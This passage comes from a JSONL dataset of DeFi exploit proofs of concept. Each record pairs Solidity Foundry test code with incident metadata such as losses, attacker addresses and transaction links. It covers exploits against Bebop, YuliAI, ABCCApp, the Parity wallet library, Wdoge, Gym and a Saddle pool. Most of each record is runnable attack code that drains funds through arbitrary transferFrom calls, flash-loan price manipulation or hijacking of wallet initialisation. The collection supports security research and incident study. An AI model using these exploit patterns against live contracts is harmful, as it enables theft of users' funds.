sharedToAddress, amount2) // The arguments as a tuple\n );\n\n // 3. Construct the JamInteraction.Data array\n JamInteraction[] memory interactions = new JamInteraction[](2);\n\n interactions[0] = JamInteraction({\n result: false,\n to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,\n value: 0, \n data: interaction1Data\n });\n\n interactions[1] = JamInteraction({\n result: false,\n to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,\n value: 0, \n data: interaction2Data\n });\n\n // 4. Define the hooksData (empty as provided)\n bytes memory hooksData = hex\"\";\n\n // 5. Define the balanceRecipient\n address balanceRecipient = address(this);\n\n jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);\n\n }\n}\n\ninterface IJamSettlement {\n function settle(\n JamOrder calldata order,\n bytes calldata signature,\n JamInteraction[] calldata interactions,\n bytes memory hooksData,\n address balanceRecipient\n ) external payable;\n}", "type": "exploit_poc", "protocol": "Bebop_dex", "date": "2025-08", "file_name": "Bebop_dex_exp.sol", "attack_vector": null, "content_hash": "cd8872895db092c2", "collected_at": "2026-01-07T10:59:16.519425", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "21k USD", "total_lost_usd": 21000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d", "postmortem_url": "https://x.com/SuplabsYi/status/1955230173365961128", "twitter_url": "https://x.com/SuplabsYi/status/1955230173365961128", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "21k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // 1. Construct the JamOrder struct\n JamOrder memory order = JamOrder({\n taker: address(this),\n receiver: address(this),\n expiry: 1754987701,\n exclusivityDeadline: 0,\n nonce: 1,\n executor: address(this),\n partnerInfo: 0,\n sellTokens: new address[](0),\n buyTokens: new address[](0),\n sellAmounts: new uint256[](0),\n buyAmounts: new uint256[](0),\n usingPermit2: false\n });\n\n // 2. Define the signature (empty as provided)\n bytes memory signature = hex\"\";\n\n // Interaction 1 arguments\n address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;\n uint256 amount1 = 0x4ac2def8f; // 20,134,500,015\n\n // Interaction 2 arguments\n address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;\n uint256 amount2 = 0xf4240; // 1,000,000\n\n // This 'to' address is the same in both interactions\n address sharedToAddress = address(this);\n\n // AFTER: Dynamically encode the call using the interface\n bytes memory interaction1Data = abi.encodeCall(\n IERC20.transferFrom, // The function pointer\n (fromAddress1, sharedToAddress, amount1) // The arguments as a tuple\n );\n\n bytes memory interaction2Data = abi.encodeCall(\n IERC20.transferFrom, // The function pointer\n (fromAddress2, sharedToAddress, amount2) // The arguments as a tuple\n );\n\n // 3. Construct the JamInteraction.Data array\n JamInteraction[] memory interactions = new JamInteraction[](2);\n\n interactions[0] = JamInteraction({\n result: false,\n to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,\n value: 0, \n data: interaction1Data\n });\n\n interactions[1] = JamInteraction({\n result: false,\n to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,\n value: 0, \n data: interaction2Data\n });\n\n // 4. Define the hooksData (empty as provided)\n bytes memory hooksData = hex\"\";\n\n // 5. Define the balanceRecipient\n address balanceRecipient = address(this);\n\n jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);\n\n }\n}\n\ninterface IJamSettlement {", "has_exploit_code": true, "keyinfo_total_lost": "21k USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d", "analysis_postmortem": "https://x.com/SuplabsYi/status/1955230173365961128", "analysis_twitter": "https://x.com/SuplabsYi/status/1955230173365961128", "funds_lost_formatted": "$21.0K", "content_richness_score": 7.21, "quality_estimate": "medium", "title": "Bebop_dex Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 78k USD\n// Attacker : https://bscscan.com/address/0x26f8bf8a772b8283bc1ef657d690c19e545ccc0d\n// Attack Contract : https://bscscan.com/address/0xd6b9ee63c1c360d1ea3e4d15170d20638115ffaa\n// Vulnerable Contract : https://bscscan.com/address/0x8262325Bf1d8c3bE83EB99f5a74b8458Ebb96282\n// Attack Tx : https://bscscan.com/tx/0xeab946cfea49b240284d3baef24a4071313d76c39de2ee9ab00d957896a6c1c4\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x8262325Bf1d8c3bE83EB99f5a74b8458Ebb96282#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1955817707808432584\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant YULIAI = 0xDF54ee636a308E8Eb89a69B6893efa3183C2c1B5;\naddress constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;\naddress constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_ROUTER = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;\naddress constant VICTIM = 0x8262325Bf1d8c3bE83EB99f5a74b8458Ebb96282;\n\ncontract YuliAI is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 57432056 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = USDT_ADDR;\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n vm.deal(address(attackContract), 0.01 ether);\n attackContract.swap(YULIAI, VICTIM, 200_000 ether);\n }\n}\n\ncontract AttackContract {\n address public owner;\n constructor() {\n owner = msg.sender;\n }\n function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n bytes memory data = abi.encode(tokenIn, tokenOut, amountIn);\n // Step 1: borrow 200,000 USDT from Moolah\n IMoolah(MOOLAH).flashLoan(USDT_ADDR, amountIn, data);\n\n // Step 6: send USDT to attacker\n IERC20 usdt = IERC20(USDT_ADDR);\n usdt.transfer(owner, usdt.balanceOf(address(this)));\n }\n\n function onMoolahFlashLoan(uint256 assets, bytes calldata userData) public {\n (address yuliai_addr, address victim_addr, uint256 amount) = abi.decode(userData, (address, address, uint256));\n IERC20 usdt = IERC20(USDT_ADDR);\n IERC20 yuliai = IERC20(yuliai_addr);\n Uni_Router_V3 router = Uni_Router_V3(payable(PANCAKE_ROUTER));\n\n usdt.approve(PANCAKE_ROUTER, type(uint256).max);\n\n Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: USDT_ADDR,\n tokenOut: yuliai_addr,\n fee: 10_000,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: assets,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n // Step 2: USDT -> yuliai\n router.exactInputSingle(params);\n\n yuliai.approve(victim_addr, type(uint256).max);\n uint256 yuliaiBalance = yuliai.balanceOf(address(this));\n\n // Root cause: The victim contract uses YULIAI/USDT V3 pool's spot price for selling YULIAI tokens.\n // Step 3: sell yuliai to victim contract at a higher price\n IVictim victim = IVictim(victim_addr);\n uint256 tokenAmount = 95_638_810_142_121_233_859_331;\n for (uint256 i = 0; i < 40; i++) {\n try victim.sellToken{value: 0.00025 ether}(tokenAmount) {\n } catch {\n break;\n }\n }\n\n // Step 4: yuliai -> USDT\n yuliai.approve(PANCAKE_ROUTER, type(uint256).max);\n yuliaiBalance = yuliai.balanceOf(address(this));\n params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: yuliai_addr,\n tokenOut: USDT_ADDR,\n fee: 10_000,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: yuliaiBalance,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n router.exactInputSingle(params);\n\n // Step 5: pay back the loan\n usdt.approve(MOOLAH, assets);\n }\n}\n\ninterface IMoolah {\n function flashLoan(address token, uint256 assets, bytes calldata data) external;\n}\n\ninterface IVictim {\n function sellToken(uint256 tokenAmount) payable external;\n}\n", "type": "exploit_poc", "protocol": "YuliAI", "date": "2025-08", "file_name": "YuliAI_exp.sol", "attack_vector": "flash_loan", "content_hash": "e26b29843d0ab278", "collected_at": "2026-01-07T10:59:16.519476", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "78k USD", "total_lost_usd": 78000.0, "attacker_address": "https://bscscan.com/address/0x26f8bf8a772b8283bc1ef657d690c19e545ccc0d", "attack_contract": "https://bscscan.com/address/0xd6b9ee63c1c360d1ea3e4d15170d20638115ffaa", "vulnerable_contract": "https://bscscan.com/address/0x8262325Bf1d8c3bE83EB99f5a74b8458Ebb96282", "attack_tx": "https://bscscan.com/tx/0xeab946cfea49b240284d3baef24a4071313d76c39de2ee9ab00d957896a6c1c4", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1955817707808432584", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "78k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n vm.deal(address(attackContract), 0.01 ether);\n attackContract.swap(YULIAI, VICTIM, 200_000 ether);\n }\n}\n\ncontract AttackContract {\n address public owner;\n constructor() {\n owner = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "78k USD", "keyinfo_attacker": "https://bscscan.com/address/0x26f8bf8a772b8283bc1ef657d690c19e545ccc0d", "keyinfo_attack_contract": "https://bscscan.com/address/0xd6b9ee63c1c360d1ea3e4d15170d20638115ffaa", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8262325Bf1d8c3bE83EB99f5a74b8458Ebb96282", "keyinfo_attack_tx": "https://bscscan.com/tx/0xeab946cfea49b240284d3baef24a4071313d76c39de2ee9ab00d957896a6c1c4", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1955817707808432584", "funds_lost_formatted": "$78.0K", "content_richness_score": 9.27, "quality_estimate": "high", "title": "YuliAI Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 10,062 BUSD\n// Attacker : https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c\n// Attack Contract : https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a24\n// Vulnerable Contract : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5\n// Attack Tx : https://bscscan.com/tx/0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb12\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1959457212914352530\n// Hacking God : N/A\n\naddress constant PANCAKE_ROUTER = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;\naddress constant ERC1967PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant DDDD_TOKEN = 0x422cBee1289AAE4422eDD8fF56F6578701Bb2878;\naddress constant ABCCAPP_TOKEN = 0x1bC016C00F8d603c41A582d5Da745905B9D034e5;\n\ncontract ABCCApp_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 58_615_055 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n\n vm.label(PANCAKE_ROUTER, \"PancakeSwap: SwapRouter V3\");\n vm.label(ERC1967PROXY, \"ERC1967Proxy\");\n vm.label(WBNB_ADDR, \"WBNB\");\n vm.label(BSC_USD, \"BUSD\");\n vm.label(DDDD_TOKEN, \"DDDD\");\n vm.label(ABCCAPP_TOKEN, \"ABCCApp\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowedAmount = 12_500_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n IERC1967Proxy(ERC1967PROXY).flashLoan(BSC_USD, borrowedAmount, \"\");\n uint256 balance = TokenHelper.getTokenBalance(BSC_USD, address(this));\n TokenHelper.transferToken(BSC_USD, attacker, balance);\n }\n\n function onMoolahFlashLoan(uint256 assets, bytes calldata userData) external {\n TokenHelper.approveToken(BSC_USD, ERC1967PROXY, assets);\n TokenHelper.approveToken(BSC_USD, ABCCAPP_TOKEN, assets);\n IABCCApp(ABCCAPP_TOKEN).deposit(125, address(0));\n IABCCApp(ABCCAPP_TOKEN).addFixedDay(1_000_000_000);\n IABCCApp(ABCCAPP_TOKEN).claimDDDD();\n\n uint256 balance = TokenHelper.getTokenBalance(DDDD_TOKEN, address(this));\n require(balance > 0, \"No DDDD tokens received\");\n TokenHelper.approveToken(DDDD_TOKEN, PANCAKE_ROUTER, balance);\n\n ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({\n path: hex\"422cbee1289aae4422edd8ff56f6578701bb28780009c4bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0001f455d398326f99059ff775485246999027b3197955\",\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: balance,\n amountOutMinimum: 0\n });\n ISwapRouter(PANCAKE_ROUTER).exactInput(params);\n }\n\n receive() external payable {}\n}\n\ninterface IERC1967Proxy {\n function flashLoan(address token, uint256 assets, bytes calldata data) external;\n}\n\ninterface ISwapRouter {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(ExactInputParams memory params) external returns (uint256);\n}\n\ninterface IABCCApp {\n function deposit(uint256 number, address referer) external;\n function addFixedDay(uint256 target) external;\n function claimDDDD() external;\n}\n", "type": "exploit_poc", "protocol": "ABCCApp", "date": "2025-08", "file_name": "ABCCApp_exp.sol", "attack_vector": "flash_loan", "content_hash": "8f306068d87a0a36", "collected_at": "2026-01-07T10:59:16.519526", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ 10,062 BUSD", "total_lost_usd": 10.0, "attacker_address": "https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c", "attack_contract": "https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a24", "vulnerable_contract": "https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5", "attack_tx": "https://bscscan.com/tx/0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb12", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1959457212914352530", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~ 10,062 BUSD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowedAmount = 12_500_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 10,062 BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c", "keyinfo_attack_contract": "https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a24", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5", "keyinfo_attack_tx": "https://bscscan.com/tx/0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb12", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1959457212914352530", "funds_lost_formatted": "$10", "content_richness_score": 9.06, "quality_estimate": "high", "title": "ABCCApp Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface parity {\n function isOwner(\n address _addr\n ) external view returns (bool);\n\n function kill(\n address _to\n ) external;\n\n function initWallet(address[] memory _owners, uint256 _required, uint256 _daylimit) external;\n}\n\ncontract ContractTest is Test {\n parity WalletLibrary = parity(payable(0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4));\n\n address[] public owner;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 4_501_735); //fork mainnet at block 4501735\n }\n\n function testExploit() public {\n WalletLibrary.isOwner(address(this)); // not a owner of contract\n owner.push(address(this));\n WalletLibrary.initWallet(owner, 0, 0);\n bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now\n assertTrue(isowner);\n WalletLibrary.kill(address(this));\n WalletLibrary.isOwner(address(this)); // contract destroyed, return 0\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Parity_kill", "date": "2017-11", "file_name": "Parity_kill_exp.sol", "attack_vector": null, "content_hash": "d19520035888d002", "collected_at": "2026-01-07T10:59:16.519574", "_source": "postmortems", "chain": "unknown", "block_number": 4501735, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n WalletLibrary.isOwner(address(this)); // not a owner of contract\n owner.push(address(this));\n WalletLibrary.initWallet(owner, 0, 0);\n bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now\n assertTrue(isowner);\n WalletLibrary.kill(address(this));\n WalletLibrary.isOwner(address(this)); // contract destroyed, return 0\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.61, "quality_estimate": "low", "title": "Parity_kill Exploit (2017-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 wdoge = IERC20(0x46bA8a59f4863Bd20a066Fd985B163235425B5F9);\n address public wdoge_wbnb = 0xB3e708a6d1221ed7C58B88622FDBeE2c03e4DB4d;\n address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 17_248_705); //fork bsc at block 17248705\n }\n\n function testExploit() public {\n IPancakePair(BUSDT_WBNB_Pair).swap(0, 2900 ether, address(this), \"0x\");\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n emit log_named_uint(\"After flashswap: WBNB balance of attacker\", wbnb.balanceOf(address(this)) / 1e18);\n wbnb.transfer(wdoge_wbnb, 2900 ether);\n IPancakePair(wdoge_wbnb).swap(6_638_066_501_837_822_413_045_167_240_755, 0, address(this), \"\");\n wdoge.transfer(wdoge_wbnb, 5_532_718_068_557_297_916_520_398_869_451);\n IPancakePair(wdoge_wbnb).skim(address(this));\n IPancakePair(wdoge_wbnb).sync();\n wdoge.transfer(wdoge_wbnb, 4_466_647_961_091_568_568_393_910_837_883);\n IPancakePair(wdoge_wbnb).swap(0, 2_978_658_352_619_485_704_640, address(this), \"\");\n wbnb.transfer(BUSDT_WBNB_Pair, 2908 ether);\n emit log_named_uint(\n \"After repaying flashswap, Profit: WBNB balance of attacker\", wbnb.balanceOf(address(this)) / 1e18\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Wdoge", "date": "2022-04", "file_name": "Wdoge_exp.sol", "attack_vector": null, "content_hash": "d9cb2b059b7abda2", "collected_at": "2026-01-07T10:59:16.519612", "_source": "postmortems", "chain": "unknown", "block_number": 17248705, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n IPancakePair(BUSDT_WBNB_Pair).swap(0, 2900 ether, address(this), \"0x\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.89, "quality_estimate": "low", "title": "Wdoge Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n ILiquidityMigrationV2 liquidityMigrationV2 =\n ILiquidityMigrationV2(payable(0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4));\n IPancakePair wbnbBusdPair = IPancakePair(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);\n IPancakePair wbnbGymPair = IPancakePair(0x8dC058bA568f7D992c60DE3427e7d6FC014491dB);\n IPancakePair wbnbGymnetPair = IPancakePair(0x627F27705c8C283194ee9A85709f7BD9E38A1663);\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 gym = IERC20(0xE98D920370d87617eb11476B41BF4BE4C556F3f8);\n IERC20 gymnet = IERC20(0x3a0d9d7764FAE860A659eb96A500F1323b411e68);\n\n constructor() {\n cheat.createSelectFork(\"bsc\", 16_798_806); //fork bsc at block 16798806\n\n wbnb.approve(address(pancakeRouter), type(uint256).max);\n gym.approve(address(pancakeRouter), type(uint256).max);\n gymnet.approve(address(pancakeRouter), type(uint256).max);\n wbnbGymPair.approve(address(pancakeRouter), type(uint256).max);\n wbnbGymPair.approve(address(liquidityMigrationV2), type(uint256).max);\n wbnbGymnetPair.approve(address(pancakeRouter), type(uint256).max);\n }\n\n function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", wbnb.balanceOf(msg.sender));\n wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", wbnb.balanceOf(msg.sender));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(gym);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 600e18, 0, path, address(this), type(uint32).max\n );\n pancakeRouter.addLiquidity(\n address(wbnb),\n address(gym),\n wbnb.balanceOf(address(this)),\n gymnet.balanceOf(address(liquidityMigrationV2)),\n 0,\n 0,\n address(this),\n type(uint32).max\n );\n liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this)));\n pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(\n address(gymnet), wbnbGymnetPair.balanceOf(address(this)), 0, 0, address(this), type(uint32).max\n );\n wbnb.deposit{value: address(this).balance}();\n path[0] = address(gym);\n path[1] = address(wbnb);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n gym.balanceOf(address(this)), 0, path, address(this), type(uint32).max\n );\n path[0] = address(gymnet);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n gymnet.balanceOf(address(this)), 0, path, address(this), type(uint32).max\n );\n wbnb.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);\n wbnb.transfer(tx.origin, wbnb.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Gym_1", "date": "2022-04", "file_name": "Gym_1_exp.sol", "attack_vector": null, "content_hash": "65ee71c99bff5876", "collected_at": "2026-01-07T10:59:16.519656", "_source": "postmortems", "chain": "unknown", "block_number": 16798806, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", wbnb.balanceOf(msg.sender));\n wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", wbnb.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.74, "quality_estimate": "low", "title": "Gym_1 Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IEuler {\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n}\n\ninterface ICurve {\n function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\n}\n\ninterface ISaddle {\n function swap(uint8 i, uint8 j, uint256 dx, uint256 min_dy, uint256 deadline) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n address private constant eulerLoans = 0x07df2ad9878F8797B4055230bbAE5C808b8259b3;\n address private constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;\n address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\n address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n address private constant saddleUsdV2 = 0x5f86558387293b6009d7896A61fcc86C17808D62;\n address private constant curvepool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD;\n address private constant saddlepool = 0x824dcD7b044D60df2e89B1bB888e66D8BCf41491;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_684_306);\n }\n\n function testExploit() public {\n IEuler(eulerLoans).flashLoan(address(this), usdc, 15_000_000e6, new bytes(0));\n console.log(\"USDC hacked: %s\", IERC20(usdc).balanceOf(address(this)));\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n attack();\n\n //Repay Loan\n IERC20(usdc).approve(msg.sender, amount + fee);\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n\n function attack() internal {\n //Swap USDC to SUSD Via Curve\n console.log(\"USDC loaned: %s\", IERC20(usdc).balanceOf(address(this)));\n uint256 amount = IERC20(usdc).balanceOf(address(this));\n IERC20(usdc).approve(curvepool, amount);\n ICurve(curvepool).exchange(1, 3, amount, 1);\n console.log(\"SUSD exchanged: %s\", IERC20(susd).balanceOf(address(this)));\n\n //Attack\n swapToSaddle(IERC20(susd).balanceOf(address(this)));\n swapFromSaddle();\n\n //Swap Susd to USDC via curve\n amount = IERC20(susd).balanceOf(address(this));\n IERC20(susd).approve(curvepool, amount);\n ICurve(curvepool).exchange(3, 1, amount, 1);\n console.log(\"USDC exchanged: %s\", IERC20(usdc).balanceOf(address(this)));\n }\n\n function swapToSaddle(\n uint256 amountStart\n ) internal {\n //Swap SUSD for SaddleUSDV2\n uint256 amount = amountStart;\n IERC20(susd).approve(saddlepool, amount);\n ISaddle(saddlepool).swap(0, 1, amount, 1, 